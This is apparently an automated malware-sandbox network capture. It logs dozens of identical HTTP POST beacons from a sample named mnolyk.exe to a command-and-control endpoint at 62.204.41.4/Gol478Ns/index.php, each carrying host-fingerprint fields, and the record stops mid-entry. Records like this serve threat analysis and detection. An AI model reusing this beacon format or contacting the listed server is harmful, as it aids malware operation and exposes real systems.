Feb 6, 2023 14:18:01.814297915 CET	472	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
272	192.168.2.5	49962	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:02.000570059 CET	473	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:02.069396973 CET	473	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
273	192.168.2.5	49963	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:02.243571997 CET	474	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:02.309935093 CET	474	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
274	192.168.2.5	49964	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:02.489491940 CET	475	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:02.553540945 CET	475	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	192.168.2.5	49965	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:02.723607063 CET	476	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:02.786803007 CET	476	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.5	49966	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:02.959271908 CET	477	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:03.022351027 CET	477	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.5	49967	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:03.193008900 CET	478	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:03.259531975 CET	478	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.5	49968	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:03.426820993 CET	479	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:03.490326881 CET	479	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.5	49969	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:03.665185928 CET	480	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:03.728063107 CET	480	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49718	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:38.360119104 CET	228	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:38.424526930 CET	229	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.5	49970	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:03.894707918 CET	481	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:03.957648993 CET	481	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.5	49971	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:04.128226995 CET	482	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:04.192429066 CET	482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.5	49972	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:04.364384890 CET	483	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:04.428808928 CET	483	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.5	49973	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:04.598156929 CET	484	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:04.660758972 CET	484	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.5	49974	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:04.837733984 CET	485	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:04.902610064 CET	485	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.2.5	49975	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:05.084398031 CET	486	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:05.149620056 CET	486	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.5	49976	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:05.318607092 CET	487	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:05.384452105 CET	487	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.2.5	49977	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:05.552321911 CET	488	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:05.615860939 CET	488	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.5	49978	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:05.789921045 CET	489	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:05.854299068 CET	489	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.5	49979	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:06.054835081 CET	490	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:06.118680954 CET	490	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	49719	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:38.598088026 CET	229	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:38.666188002 CET	230	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.2.5	49980	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:06.304827929 CET	491	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:06.367547035 CET	491	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.2.5	49981	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
